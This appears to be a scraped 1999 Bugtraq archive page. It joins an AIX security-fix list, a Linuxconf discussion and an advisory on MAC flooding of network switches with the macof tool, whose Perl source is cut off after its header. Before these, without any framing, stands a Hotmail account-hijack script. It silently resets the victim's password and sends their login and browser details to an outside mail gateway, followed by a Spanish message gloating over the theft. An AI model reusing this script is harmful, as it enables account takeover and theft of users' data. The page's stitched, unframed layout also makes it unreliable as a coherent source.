OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
elURL= elURL; nombre= nombre+"="; vacio=""; found= elURL.indexOf(nombre); if (found > -1) { found2= elURL.indexOf("&",found); found+= nombre.length; end= (found2 > -1) ? found2 : elURL.length; var value= elURL.substring(found, end); value= (value != null) ? value : vacio; return value; } else {return vacio;} } Query= unescape(self.location.search); disk= getCGIValue("disk", Query); login= getCGIValue("login", Query); host= "www.hotmail.com"; hintq= escape('
by El Lite©
'); hinta= '%66axf%61x'; TheURL= "http:// "+host+"/cgi-bin/dopassword?"+"disk="+disk+"&login="+login+"&f=34145&curmbox=ACTIVE&_lang=&np=yes&new_%70%61%73s%77d=%6B%6B%6A%6A01&new_%70%61%73s%77d2=kk%6A%6A01&hi%6E%74q="+hintq+"&hinta="+hinta; Mail= "http://www.tipjar.com/cgi-bin/generic?mailto=paulinaporizkovahotmail.com&mailfrom= "+login+"hotmail.com&subject="+login+"+HMpass+cambiada+%0A%0ASu+navegador+es+"+escape(navigator.userAgent+"\n.\n"); options= 'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=575,height=105'; HOTMAIL= window.open(TheURL,"HOTMAIL",options); self.focus(); setTimeout("HOTMAIL.close()",8000); MAIL= window.open(Mail,"MAIL",options); self.focus(); setTimeout("MAIL.close()",8000); //-->


  Uno de los mejores correos gratis que existen es precisamente el que
  tu estás usando, hotmail. Su seguridad e inviolabilidad son ya
legendarias.

  Tanto es así que mira por donde a partir de este mismísimo momento las
  cosas van a tomar otro cariz. Quiero decir que lamentándolo mucho tu
  dirección de hotmail ha sido inutilizada, o mejor dicho, secuestrada
por mi.

  Ya nunca mas podrás entrar en ella.

  Así de definitivo. Ahora es

                                SOLO MIAAA!!!! :-))))

  Como soy un buenazo y no eres mi única víctima pues un dia de estos
voy a
  publicar en es.comp.hackers la password que os puse (es la misma para
todos
  vosotros pardillos)

  Hala, que te sea leve

  El Lite©


Bugtraq archives for 2nd quarter (Apr-Jun) 1999: AIX Security Fixes Update

AIX Security Fixes Update

Ciaran Deignan (Ciaran.DeignanBULL.NET)
Thu, 6 May 1999 11:15:15 +0200

The IBM mail server just distributed the following file.
This information has been integrated into the bull_check verification tool
(version 1.0.9904.1) available from http://www-frec.bull.com/ (in the
year2000 section of the download page).
Note: most of the APARs are old.


---------- Forwarded message ----------
Date: Thu, 6 May 1999 01:04:31 -0500
From: AIX Service Mail Server <aixservaustin.ibm.com>
To: Ciaran.Deignanbull.net
Subject: Security_APARs

This is a list of security related APARs for current releases of AIX.
To facilitate ease of ordering all security related APARs for each
release can be ordered using the following packaging APARs.

  AIX 4.3:   IX89365	(updated 04/99)

  AIX 4.2:   IX89364	(updated 04/99)

  AIX 4.1:   IX89362	(updated 04/99)

APARs can be ordered using FixDist.  For additional information on FixDist
send e-mail with a subject of "FixDist" to aixservaustin.ibm.com, or
refer to the following URL:

  http://service.software.ibm.com/rs6k/fixes.html
===========================================================================
AIX 4.3 APARs

IX72045  CDE LOGIN GIVES INVALID USER NAME MESSAGE BEFORE PW ENTERED
IX72553  SECURITY: VULNERABILITY IN I/O SIGNAL HANDLING
IX73077  SECURITY: FTP BOUNCE VULNERABILITY
IX73214  SECURITY: TELNET DENIAL OF SERVICE ATTACK
IX73438  SECURITY: VULNERABILITY IN DTAPPGATHER
IX73586  SECURITY HOLE IN FTP, TFTP, UTFTP
IX73836  /ETC/HOSTS.EQUIV IS ALLOWING WRONG USERS TO LOG IN
IX73951  SECURITY: ROUTED SHOULD IGNORE TRACE PACKETS
IX73961  PCNFSD DAEMON UPDATES WTMP FILE INCORRECTLY
IX74296  PROGRAMS USING LEX GENERATED SOURCE COREDUMP
IX74599  SECURITY: VULNERABILITY IN DIGEST
IX74793  SECURITY HOLE IN TN3270
IX74802  CSH CORE DUMPS WHEN ENV VARIABLE IS LONGER THAN 2K
IX75275  SECURITY: LOGSYMPTOM FOLLOWS SYMLINKS
IX75554  SECURITY: TIMEX CREATES INSECURE TEMPORARY FILES
IX75564  ETHERNET DRIVER PASSES PACKETS TOO SMALL CAUSING CRASH
IX75761  BAD FILE HANDLE CAN CRASH LOCK DAEMON
IX75840  SECURITY: DEAD.LETTER CREATED WITH GROUP PRINTQ
IX75864  SECURITY:  /BIN/MAN CREATES INSECURE TEMPORARY FILES
IX76039  SECURITY: DPID2 CORE DUMPS IN WORLD WRITABLE DIRECTORY
IX76040  SECURITY: SNMPD LOG FILE FOLLOWS SYMLINKS
IX76049  SECURITY: CDE TRASHINFO FILE CREATED WORLD-WRITABLE
IX76960  BIND: CERT ADVISORY CA-98.05
IX76962  BIND: CERT ADVISORY CA-98.05
IX77338  SECURITY: SORT CREATES INSECURE TEMPORARY FILES
IX77508  CDE MAILER (DTMAIL) ALLOWS A USER TO READ A MAILBOX WHICH THE
IX77592  SECURITY: PORTMAP CREATES INSECURE TEMPORARY FILES
IX78071  IFCONFIG.AT HAVE A WRONG FILE PERMISSIONS
IX78202  SECURITY: BUFFER OVERFLOWS IN XTERM AND AIXTERM.
IX78248  SECURITY: VULNERABILITY IN GROUP SHUTDOWN
IX78349  SECURITY: BAD PERMISSIONS ON /ETC/SECURITY/LOGIN.CFG
IX78564  SECURITY:LONG FONTNAMES CAN OVERFLOW BUFFERS IN FONTSERVER
IX78612  SECURITY: BUFFER OVERFLOWS IN XAW AND XMU.
IX78646  SECURITY: RC.NET.SERIAL CREATES INSECURE TEMPORARY FILES
IX78719  NFS V2 DOES NOT HANDLE 65535 AS A UID
IX78732  SECURITY: FILES IN /VAR/DT ARE CREATED INSECURELY BY CDE LOGIN
IX79136  SECURITY: INSECURE TEMPORARY FILES IN DIAGSUP SCRIPTS
IX79139  SECURITY: ACLPUT/ACLEDIT CREATE INSECURE TEMPORARY FILES
IX79679  "RCP SECURITY PROBLEM"
IX79681  SECURITY: INSECURE TEMPORARY FILES IN CMDMISC SCRIPTS
IX79682  SECURITY: INSECURE TEMPORARY FILES IN CMDSCCS SCRIPTS
IX79683  SECURITY: INSECURE TEMPORARY FILES IN CMDTZ SCRIPTS
IX79700  SECURITY: INSECURE TEMPORARY FILES IN CMDNLS SCRIPTS
IX79701  SECURITY: INSECURE TEMPORARY FILES IN CMDTEXT SCRIPTS
IX79857  SECURITY HOLE
IX79909  NSLOOKUP CORE DUMPS WITH LONG STRINGS
IX79979  SECURITY: VULNERABILITY IN GROUP SHUTDOWN
IX80036  SECURITY: CRON CREATES INSECURE LOCK FILE
IX80387  SECURITY: INSECURE CREATION OF LPD LOCK FILE
IX80391  SECURITY: INSECURE TEMPORARY FILES IN CMDSNAP SCRIPTS
IX80470  SECURITY: PTRACE() PROBLEM WITH SET-GID PROGRAMS
IX80510  SECURITY: DON'T INHERIT CLOSED STDIN,STDOUT,STDERR DESCRIPTORS
IX80543  SECURITY:LIBNSL BUFFER OVERRUNS
IX80548  SECURITY: RAS SCRIPTS SHOULDN'T FOLLOW SYMLINKS
IX80549  SECURITY: /BIN/MORE CREATES INSECURE TEMPORARY FILES
IX80762  SECURITY: /BIN/VI CREATES INSECURE TEMPORARY FILES
IX80792  SECURITY: BUFFER OVERFLOWS IN IMAPD
IX81058  SECURITY: INSECURE TEMPORARY FILES IN CMDBSYS SCRIPTS
IX81077  SECURITY: TTYLOCK() ALLOWS CREATION OF WORLD-READABLE FILES
IX81078  SECURITY: INSECURE TEMPORARY FILES IN CMDFILES SCRIPTS
IX81442  SECURITY: VULNERABILITY IN RPC.TTDBSERVERD
IX81507  SECURITY: MORE VULNERABILITIES IN PCNFSD
IX81999  POST COMMAND SHOULD NOT BE SUID
IX82002  FORCE REXECD USER PRIVILEDGES
IX83752  SECURITY: VULNERABILITY IN AUTOFS
IX84493  SECURITY: VULNERABILITY IN SETGID EXECUTABLES
IX84642  SECURITY: VULNERABILITY IN INFOEXPLORER DAEMON (INFOD)
IX85233  SECURITY : MAILBOX GETS CORRUPTED
IX85556  SECURITY: BUFFER OVERFLOW IN FTP CLIENT
IX85600  BOOTP: CERT ADVISORY
IX87016  REMBAK FAILS WHEN INVOKED WITH VERY LONG USERNAME/HOSTNAME
===========================================================================
AIX 4.2 APARs

IX59743  RDIST HAS A SECURITY HOLE.
IX60069  /VAR/DT SECURITY PROBLEM
IX60892  BUFFER OVERFLOW CAUSES CORE DUMP IN TZSET()
IX61125  POSSIBLE BUFFER OVERFLOW BUG IN /USR/BIN/AT
IX61127  SECURITY: POSSIBLE BUFFER OVERFLOW IN RWHOD
IX61199  NETWORK INTERFACES PADDING TO MINIMUM LENGTH LEAVE OLD DATA IN
IX61304  CERTS VU#12851:SENDMAIL GIVES LOCAL USER ACCESS TO DEFAULT USER
IX61305  CERTS#12002:SENDMAIL LETS USER BECOME ROOT WITH CHFN COMMAND
IX61858  LARGE ICMP PACKETS CAN CRASH MACHINE
IX62144  BUFFER OVERFLOW IN GETHOSTBYNAME()
IX62428  CERT: SYN FLOOD DENIAL-OF-SERVICE ATTACKS
IX63068  CERT: SENDMAIL SIGHUP VULNERABILITY
IX64204  SECURITY: LQUERYPV ALLOWS NON-ROOT USER TO READ ANY FILE
IX64443  CERTS:VU#3075 SENDMAIL VULNERABILITY
IX65281  SECURITY: HOSTS.EQUIV SHOULD BE IGNORED IF WORLD-WRITABLE
IX65473  CERT: BUFFER OVERFLOW IN TALKD
IX65538  CERT: FTPD RACE CONDITION IN SIGNAL HANDLING
IX65685  SECURITY: BUFFER OVERFLOW IN /USR/SBIN/LOGIN
IX66068  /USR/SBIN/MOUNT CREATES ROOT-OWNED CORE
IX66232  CORE DUMP FOR ILLEGAL LENGTH STRING IN SOME LVM COMMANDS
IX66344  SECURITY: LIBPATH USED FOR SETGID EXECUTABLES
IX66352  SECURITY: BUFFER OVERFLOWS IN LIBXT.A
IX66405  /TMP/XLOGFILE HAS WRONG PERMISSION.
IX66461  BUFFER OVERFLOW IN LIBXT.A
IX66819  RECONNECTING A TCP SOCKET CAN CRASH THE SYSTEM
IX66824  SECURITY: BUFFER OVERFLOWS IN LIBX11.A
IX66950  SECURITY:  BUFFER OVERFLOW IN /USR/LIB/ERRDEMON
IX67318  CERT: POSSIBLE BUFFER OVERFLOW IN FINGER DAEMON
IX67325  /TMP/LAST_UUID PERMISSIONS AND MISSING SYMBOLS
IX67377  CERT: BUFFER OVERFLOW IN NLS ENVIRONMENT VARIABLES
IX68087  SECURITY: VULNERABILITY IN RPC.PCNFSD
IX68191  SECURITY: BUFFER OVERFLOWS IN XLOCK
IX68250  BUFFER OVERFLOWS IN /USR/SBIN/MOUNT
IX68707  SECURITY: X11 RESOURCE MANAGER BUFFER OVERFLOW.
IX68769  CERT : CMSD SECURITY PROBLEM
IX68801  SECURITY: POSSIBLE BUFFER OVERFLOW IN GECOS HANDLING
IX69106  BUFFER OVERFLOW IN DTTERM.
IX69113  BUFFER OVERFLOW IN XTERM.
IX69169  SECURITY: BUFFER OVERFLOW IN WRITESRV DAEMON
IX69171  SECURITY: BUFFER OVERFLOW IN /BIN/RCP
IX69180  SECURITY: BUFFER OVERFLOW IN DTACTION
IX69704  SECURITY: BUFFER OVERFLOW IN AIXTERM
IX69714  CERT: VULNERABILITY IN YPPROC_XFR RPC
IX70035  LARGE MMAP REGION CAN RUN OUT OF PAGING SPACE AND HANG
IX70233  SECURITY: /USR/BIN/VACATION VULNERABILITY
IX70237  SECURITY: CACHE POISONING
IX70239  SECURITY: DISALLOW SENDMAIL -C FOR USERS IN GROUP SYSTEM
IX70263  CERT CA-97.09: VULNERABILITY IN IMAP/POP
IX70389  /ETC/HOSTS.EQUIV IS ALLOWING WRONG USERS TO LOGIN
IX70396  SECURITY: COPYCORE CREATES WORLD-READABLE DUMPS
IX70397  SECURITY: VULNERABILITY IN SRCMSTR
IX70660  SECURITY: SYSLOG DENIAL-OF-SERVICE VULNERABILITY
IX70766  POSSIBLE COREDUMP IN TPARM() ROUTINE
IX70815  MAKE NSLOOKUP SUID ROOT ONLY FOR RES_INIT
IX70875  SECURITY: BUFFER OVERFLOW IN RDIST
IX70886  SECURITY: FTP CLIENT INTERPRETS SERVER PROVIDED FILENAMES
IX70916  ONLY ALLOW LOOPBACK AS INTERFACE FOR PORTMAP REGISTER
IX70918  SECURITY: RPC.MOUNTD ALLOWS FILENAME DISCOVERY
IX71277  SECURITY: VULNERABILITY IN LIBISODE.A
IX71403  SECURITY: BUFFER OVERFLOWS IN RNETRC()
IX71405  SECURITY: DISCARD LOOPBACK PACKETS ON EXTERNAL INTERFACES
IX71517  SECURITY: VULNERABILITY IN PIODMGRSU
IX71581  SYSTEM FILE COULD BE OVERWRITTEN BY DTAPPINTEGRATE
IX71779  SECURITY: VULNERABILITY IN I/O SIGNAL HANDLING
IX71795  SECURITY: VULNERABILITY IN /USR/SBIN/PORTMIR
IX71806  NFSV3 ACCESS FOR OTHERS INCORRECT
IX71810  SECURITY: BAD TEMPORARY FILE CREATED FROM /USR/BIN/CFGMIR
IX71927  CDE LOGIN GIVES INVALID USER NAME MESSAGE BEFORE PW ENTERED
IX72021  SECURITY: BUFFER OVERFLOW IN XDAT
IX73022  NFS UID MISMATCH POSSIBLE ON CREATE
IX73076  SECURITY: FTP BOUNCE VULNERABILITY
IX73430  SEC: /USR/SBIN/MKLV SHELL SCRIPT HAS SET-UID BIT SET
IX73437  SECURITY: VULNERABILITY IN DTAPPGATHER
IX73580  SECURITY: TELNET DENIAL OF SERVICE ATTACK
IX73755  PTY_SETNAME MISMANAGES THE PROCESS CREDENTIAL
IX73893  PCNFSD DAEMON UPDATES WTMP FILE INCORRECTLY
IX73949  SECURITY: ROUTED SHOULD IGNORE TRACE PACKETS
IX74023  PROGRAMS USING LEX GENERATED SOURCE COREDUMPS
IX74335  SECURITY: NFS NOT HANDLING EXPORTS CORRECTLY
IX75157  BAD FILE HANDLE CAN CRASH LOCK DAEMON
IX75195  ETHERNET DRIVER PASSES PACKETS TOO SMALL CAUSING CRASH
IX75417  SECURITY HOLE IN TN3270
IX76015  NFS V2 DOES HANDLE 65535 AS A UID
IX76268  SECURITY: LOGSYMPTOM FOLLOWS SYMLINKS
IX76269  SECURITY: DPID2 CORE DUMPS IN WORLD WRITABLE DIRECTORY
IX76270  SECURITY HOLE IN FTP, TFTP, UTFTP
IX76272  SECURITY: VULNERABILITY IN DIGEST
IX76276  SECURITY: DEAD.LETTER CREATED WITH GROUP PRINTQ
IX76853  SECURITY: TIMEX CREATES INSECURE TEMPORARY FILES
IX76861  REFRESHING INETD TOO MANY TIMES CAN KILL IT
IX76863  SECURITY: SNMPD LOG FILE FOLLOWS SYMLINKS
IX76867  SECURITY:  /BIN/MAN CREATES INSECURE TEMPORARY FILES
IX76872  BOS.NET.TCP.CLIENT UPDATES RE-ENABLE SNMP AND DPID2
IX76875  SECURITY: NON-ROOT USERS CAN CREATE AND BIND TO AF_NDD SOCKETS
IX76878  SECURITY: CDE TRASHINFO FILE CREATED WORLD-WRITABLE
IX76879  REMOVE POTENTIAL SECURITY EXPOSURE FROM NETLSD
IX76886  SECURITY: SORT CREATES INSECURE TEMPORARY FILES
IX76959  BIND: CERT ADVISORY CA-98.05
IX76984  LIBBSD SLEEP() RACE CONDITION
IX77009  CORE FILE MAY CONTAIN DATA FROM OTHER USERS
IX77089  SETUPTERM CAN CORE DUMP
IX77506  CDE MAILER (DTMAIL) ALLOWS A USER TO READ A MAILBOX WHICH THE
IX77830  SECURITY: BUFFER OVERFLOWS IN XTERM AND AIXTERM.
IX77902  IFCONFIG.AT HAVE A WRONG FILE PERMISSIONS
IX78596  SECURITY: VULNERABILITY IN GROUP SHUTDOWN
IX78616  SECURITY:LONG FONTNAMES CAN OVERFLOW BUFFERS IN FONTSERVER
IX78641  "RCP SECURITY PROBLEM"
IX78673  SECURITY: BUFFER OVERFLOWS IN XAW AND XMU.
IX78729  SECURITY: FILES IN /VAR/DT ARE CREATED INSECURELY BY CDE LOGIN
IX79037  SECURITY: INSECURE TEMPORARY FILES IN DIAGSUP SCRIPTS
IX79447  SECURITY: CRON CREATES INSECURE LOCK FILE
IX79473  SECURITY: INSECURE TEMPORARY FILES IN CMDTEXT SCRIPTS
IX79836  SECURITY: VULNERABILITY IN GROUP SHUTDOWN
IX79893  SECURITY: PORTMAP CREATES INSECURE TEMPORARY FILES
IX80138  SECURITY: INSECURE CREATION OF LPD LOCK FILE
IX80791  SECURITY: BUFFER OVERFLOWS IN IMAPD
IX81232  SECURITY: BAD PERMISSIONS ON /ETC/SECURITY/LOGIN.CFG
IX81317  FORCE REXECD USER PRIVILEDGES
IX81360  SECURITY: /BIN/MORE CREATES INSECURE TEMPORARY FILES
IX81361  SECURITY: INSECURE TEMPORARY FILES IN CMDFILES SCRIPTS
IX81364  SECURITY: INSECURE TEMPORARY FILES IN CMDMISC SCRIPTS
IX81366  SECURITY: INSECURE TEMPORARY FILES IN CMDNLS SCRIPTS
IX81369  SECURITY: INSECURE TEMPORARY FILES IN CMDSCCS SCRIPTS
IX81370  SECURITY: INSECURE TEMPORARY FILES IN CMDTZ SCRIPTS
IX81377  SECURITY: /BIN/VI CREATES INSECURE TEMPORARY FILES
IX81441  SECURITY: VULNERABILITY IN RPC.TTDBSERVERD
IX81506  SECURITY: MORE VULNERABILITIES IN PCNFSD
IX81579  SECURITY: DON'T INHERIT CLOSED STDIN,STDOUT,STDERR DESCRIPTORS
IX82703  SECURITY:LIBNSL BUFFER OVERRUNS
IX84230  SECURITY : MAILBOX GETS CORRUPTED
IX85206  SECURITY: INSECURE TEMPORARY FILES IN CMDBSYS SCRIPTS
IX85555  SECURITY: BUFFER OVERFLOW IN FTP CLIENT
IX85599  BOOTP: CERT ADVISORY
IX87003  REMBAK FAILS WHEN INVOKED WITH VERY LONG USERNAME/HOSTNAME
IX88195  SECURITY: INSECURE TEMPORARY FILES IN CMDSNAP SCRIPTS
===========================================================================
AIX 4.1 APARs

IX55363  CERT ADVISORY CA-95:17 - YPUPDATED VULNERABILITY
IX55931  CERT ADVISORY ON RPC.STATD
IX56717  DDTERM PROBLEM AND 256 BYTES LOST AT EACH FAILING OPEN.
IX57720  SECURITY PROBLEM IN SENDMAIL
IX58516  /TMP/XLOGFILE HAS WRONG PERMISSION.
IX59453  LARGE ICMP PACKETS CAN CRASH MACHINE
IX59742  RDIST HAS A SECURITY HOLE.
IX60068  /VAR/DT SECURITY PROBLEM
IX60680  SECURITY: POSSIBLE BUFFER OVERFLOW IN RWHOD
IX60873  NETWORK INTERFACES PADDING TO MINIMUM LENGTH LEAVE OLD DATA IN
IX60890  BUFFER OVERFLOW CAUSES CORE DUMP IN TZSET()
IX60894  POSSIBLE BUFFER OVERFLOW FOR TZ
IX61019  BUFFER OVERFLOW IN GETHOSTBYNAME()
IX61031  BUFFER OVERFLOW IN LIBXT.A
IX61162  CERTS VU#12851:SENDMAIL GIVES LOCAL USER ACCESS TO DEFAULT USER
IX61306  CERTS#12002:SENDMAIL LETS USER BECOME ROOT WITH CHFN COMMAND
IX62476  CERT: SYN FLOOD DENIAL-OF-SERVICE ATTACKS
IX64203  SECURITY: LQUERYPV ALLOWS NON-ROOT USER TO READ ANY FILE
IX64459  CERTS:VU#3075 SENDMAIL VULNERABILITY
IX65472  CERT: BUFFER OVERFLOW IN TALKD
IX65537  CERT: FTPD RACE CONDITION IN SIGNAL HANDLING
IX65682  SECURITY: BUFFER OVERFLOW IN /USR/SBIN/LOGIN
IX65979  /TMP/LAST_UUID SHOULD NOT BE WORLD WRITABLE AND RPC__PKT_NAME ER
IX66055  /USR/SBIN/MOUNT CREATES ROOT-OWNED CORE
IX66231  CORE DUMP FOR ILLEGAL LENGTH STRING IN SOME LVM COMMANDS
IX66340  SECURITY: LIBPATH USED FOR SETGID EXECUTABLES
IX66449  SECURITY: BUFFER OVERFLOWS IN LIBXT.A
IX66679  SECURITY: "PIPEBUG IN SENDMAIL"
IX66736  SECURITY: BUFFER OVERFLOWS IN LIBX11.A
IX66826  LIBBSD SLEEP() RACE CONDITION
IX67272  /ETC/HOSTS.EQUIV IS ALLOWING WRONG USERS TO LOGIN
IX67276  WHEN PRINCIPAL NAME EXCEEDS 1024 CHARACTERS SECD CORES
IX67317  CERT: POSSIBLE BUFFER OVERFLOW IN FINGER DAEMON
IX67407  CERT: BUFFER OVERFLOW IN NLS ENVIRONMENT VARIABLES
IX67601  SECURITY: HOSTS.EQUIV SHOULD BE IGNORED IF WORLD-WRITABLE
IX68086  SECURITY: VULNERABILITY IN RPC.PCNFSD
IX68143  SECURITY: VULNERABILITY IN SRCMSTR
IX68190  SECURITY: BUFFER OVERFLOWS IN XLOCK
IX68249  BUFFER OVERFLOWS IN /USR/SBIN/MOUNT
IX68412  RECONNECTING A TCP SOCKET CAN CRASH THE SYSTEM
IX68688  SECURITY: POSSIBLE BUFFER OVERFLOW IN GECOS HANDLING
IX68706  SECURITY: X11 RESOURCE MANAGER BUFFER OVERFLOW.
IX68749  CERT : CMSD SECURITY PROBLEM
IX68834  CORE FILE MAY CONTAIN DATA FROM OTHER USERS
IX69083  BUFFER OVERFLOW IN DTTERM.
IX69104  BUFFER OVERFLOW IN XTERM.
IX69168  SECURITY: BUFFER OVERFLOW IN WRITESRV DAEMON
IX69170  SECURITY: BUFFER OVERFLOW IN /BIN/RCP
IX69179  SECURITY: BUFFER OVERFLOW IN DTACTION
IX69698  SECURITY: BUFFER OVERFLOW IN AIXTERM
IX70029  LARGE MMAP REGION CAN RUN OUT OF PAGING SPACE AND HANG
IX70100  ONLY ALLOW LOOPBACK AS INTERFACE FOR PORTMAP REGISTER
IX70171  POSSIBLE COREDUMP IN SETUPTERM()
IX70236  SECURITY: CACHE POISONING
IX70238  SECURITY: DISALLOW SENDMAIL -C FOR USERS IN GROUP SYSTEM
IX70352  POSSIBLE COREDUMP IN TPARM() ROUTINE
IX70367  SECURITY: COPYCORE CREATES WORLD-READABLE DUMPS
IX70368  SECURITY:  BUFFER OVERFLOW IN /USR/LIB/ERRDEMON
IX70370  CERT: MKNOD RACE CONDITION AND BUFFER OVERFLOW
IX70400  REFRESHING INETD TOO MANY TIMES CAN KILL IT
IX70659  SECURITY: SYSLOG DENIAL-OF-SERVICE VULNERABILITY
IX70876  SECURITY: BUFFER OVERFLOW IN RDIST
IX70885  SECURITY: FTP CLIENT INTERPRETS SERVER PROVIDED FILENAMES
IX71125  SECURITY: RPC.MOUNTD ALLOWS FILENAME DISCOVERY
IX71366  SECURITY: DISCARD LOOPBACK PACKETS ON EXTERNAL INTERFACES
IX71391  SECURITY: BUFFER OVERFLOWS IN RNETRC()
IX71464  MAKE NSLOOKUP SUID ROOT ONLY FOR RES_INIT
IX71478  SECURITY: VULNERABILITY IN LIBISODE.A
IX71514  SECURITY: VULNERABILITY IN PIODMGRSU
IX71580  SYSTEM FILE COULD BE OVERWRITTEN BY DTAPPINTEGRATE
IX71832  SECURITY: VULNERABILITY IN I/O SIGNAL HANDLING
IX72020  SECURITY: BUFFER OVERFLOW IN XDAT
IX73075  SECURITY: FTP BOUNCE VULNERABILITY
IX73427  SECURITY: TELNET DENIAL OF SERVICE ATTACK
IX73436  SECURITY: VULNERABILITY IN DTAPPGATHER
IX73615  SECURITY: DEAD.LETTER CREATED WITH GROUP PRINTQ
IX73948  SECURITY: ROUTED SHOULD IGNORE TRACE PACKETS
IX74022  PROGRAMS USING LEX GENERATED SOURCE COREDUMPS
IX74421  CSH CORE DUMPS WHEN ENV VARIABLE IS LONGER THAN 2K
IX74457  FIXED VULNERABILITY IN DIGEST
IX74663  SEC: /USR/SBIN/MKLV SHELL SCRIPT HAS SET-UID BIT SET
IX74773  ETHERNET DRIVER PASSES PACKETS TOO SMALL CAUSING CRASH
IX75149  SECURITY:  /BIN/MAN CREATES INSECURE TEMPORARY FILES
IX76195  SECURITY HOLE IN TN3270
IX76329  SECURITY HOLE IN FTP, TFTP, UTFTP
IX76330  SECURITY: TIMEX CREATES INSECURE TEMPORARY FILES
IX76331  SECURITY: NON-ROOT USERS CAN CREATE AND BIND TO AF_NDD SOCKETS
IX76332  SECURITY: LOGSYMPTOM FOLLOWS SYMLINKS
IX76333  SECURITY: SNMPD LOG FILE FOLLOWS SYMLINKS
IX76334  SECURITY: CDE TRASHINFO FILE CREATED WORLD-WRITABLE
IX76522  PTY_SETNAME MISMANAGES THE PROCESS CREDENTIAL - 3
IX76717  SECURITY: NOTIFYMETH CREATES WORLD-WRITABLE FILES
IX76846  SECURITY: SORT CREATES INSECURE TEMPORARY FILES
IX76877  REMOVE POTENTIAL SECURITY EXPOSURE FROM NETLSD
IX76958  BIND: CERT ADVISORY CA-98.05
IX77509  CDE MAILER (DTMAIL) ALLOWS A USER TO READ A MAILBOX WHICH THE
IX77913  SECURITY: BUFFER OVERFLOWS IN XTERM AND AIXTERM.
IX78350  IFCONFIG.AT HAVE A WRONG FILE PERMISSIONS
IX78696  SECURITY: FILES IN /VAR/DT ARE CREATED INSECURELY BY CDE LOGIN
IX78711  CERT: VULNERABILITY IN YPPROC_XFR RPC
IX78956  SECURITY: BUFFER OVERFLOWS IN XAW AND XMU.
IX78957  SECURITY:LONG FONTNAMES CAN OVERFLOW BUFFERS IN FONTSERVER
IX79044  SECURITY: INSECURE TEMPORARY FILES IN DIAGSUP SCRIPTS
IX79472  SECURITY: INSECURE TEMPORARY FILES IN CMDTEXT SCRIPTS
IX80137  SECURITY: INSECURE CREATION OF LPD LOCK FILE
IX80158  SECURITY: INSECURE TEMPORARY FILES IN CMDMISC SCRIPTS
IX80160  SECURITY: INSECURE TEMPORARY FILES IN CMDNLS SCRIPTS
IX80163  SECURITY: INSECURE TEMPORARY FILES IN CMDSCCS SCRIPTS
IX80183  SECURITY: INSECURE TEMPORARY FILES IN CMDTZ SCRIPTS
IX80840  SECURITY:LIBNSL BUFFER OVERRUNS
IX80882  POST COMMAND SHOULD NOT BE SUID
IX81440  SECURITY: VULNERABILITY IN RPC.TTDBSERVERD
IX81505  SECURITY: MORE VULNERABILITIES IN PCNFSD
IX81651  SECURITY: DON'T INHERIT CLOSED STDIN,STDOUT,STDERR DESCRIPTORS
IX81914  SECURITY: BAD PERMISSIONS ON /ETC/SECURITY/LOGIN.CFG
IX83929  SECURITY: /BIN/VI CREATES INSECURE TEMPORARY FILES
IX83932  SECURITY: INSECURE TEMPORARY FILES IN CMDFILES SCRIPTS
IX83943  SECURITY: /BIN/MORE CREATES INSECURE TEMPORARY FILES
IX85598  BOOTP: CERT ADVISORY
IX85650  SECURITY: INSECURE TEMPORARY FILES IN CMDBSYS SCRIPTS
===========================================================================

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Possible Linuxconf Vulnerability

Re: Possible Linuxconf Vulnerability

Dan Merillat (harikCHAOS.AO.NET)
Wed, 5 May 1999 07:46:55 -0400

Neale Banks writes:
> On Sat, 1 May 1999, Desync wrote:

> > If someone really wanted to do some damage with physical access to a
> > machine, popping a rescue disk set into the drive and rebooting with the
> > reset switch would do fine.
>
> Agreed: there is much to be said for the assertion "physical access ==
> game over".

Keyboard + monitor != floppy drive + reset switch.

It's simple enough to secure a system inside a locked cabinet and only have
a keyboard and monitor outside.  Furthermore, if you put a bios setup password
(and binary edit your flash to change the !#!# backdoor password) and password
lock your boot manager (in this case, it would be LILO)  someone with
keyboard access cannot do anything.   Unless, of course, a braindead boot-script
gives them some kind of root access.

Another (generally fixed now) example would be boot-time fsck(8).

Administrators take heed:  Read your bootscripts.  Make sure they "Do the Right Thing"
in case of errors.

--Dan

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Infosec.19990305.macof.a

Infosec.19990305.macof.a

ian.vitekINFOSEC.SE
Wed, 5 May 1999 09:15:25 +0100

Infosec Security Vulnerability Report
No: Infosec.19990305.macof.a
=====================================

Vulnerability Summary
---------------------

Problem:  Due to limitation with ARP/MAC-tables;
               switches could start sending packages to all ports,
               other network devices could hang, crash or reboot
               if they receive lots of MAC-addresses.

Threat:   Someone could eavesdrop/sniff network connections
               over a switched network.
               Denial of service attacks on a local network.

Platform: Verified a 3com Superstack Switch 3300
               (3c16981 Hardware v.1 Software v.2.10).
               Very possible other network devices.

Solution: There is no today known solution to the problem.


Vulnerability Description
-------------------------
Senario:
Computer A talks with computer B.
Computer C is running macof.
Computer A, B and C are connected to the same 3com switch.

When running macof ( http://quake.skif.net/RawIP/macof.html ), a perl-program
included in the perl-module Raw:IP ( http://quake.skif.net/RawIP/ ), through a
3com Superstack Switch 3300 (3c16981 Hardware v.1 Software v.2.10) the switch
starts to send all network packages from computer A to computer B and computer
C.

Solution
--------
There is no today known solution to the problem.
As a workaround for switches you could maybe, where available, lock a
MAC-address to every port on the switch.

Background:
-----------
At DefCon VI there were discussions about switches. Some people acquire a switch
because you could not eavesdrop a network connection over it. Someone told that
if you send a special multicast to a switch you could spoof another switch and
thereby should the switch start sending you network packages. In these attempts
we discovered that you easily could spoof a MAC-address and thereby confuse a
switch because the switch tries to remember which MAC-addresses is on each port.
Because of some network packages goes to the spoofing MAC you get problems with
the connections (resends). But what happens if the switch gets flooded with
MAC-addresses? The switch just has a bound memory-space for the MAC-addresses on
each port. What happens if this table gets full? After a few tests (with macof)
we got different results depending on the brand of the switch. Some switches
stopped working and other started to forward network traffic to wrong or all
ports. The only scientific analysis is this one reported. This is a resource
problem.

3com was informed about this problem 21/4 1999.

macof is just one way to do it. We think that the best way to eavesdrop a
connection over a switch is to spoof the default router and send ARP-redirects
with your MAC-address as ?changing to? and route the incoming packages to the
default routers MAC-address.

//Ian Vitek
ian.vitekinfosec.se

Test program, macof:
------
#!/usr/bin/perl -w
#
# macof v. 1.1
# By Ian Vitek ( ian.vitekinfosec.se )
# Tests network devices by flooding local network with MAC-addresses.
#
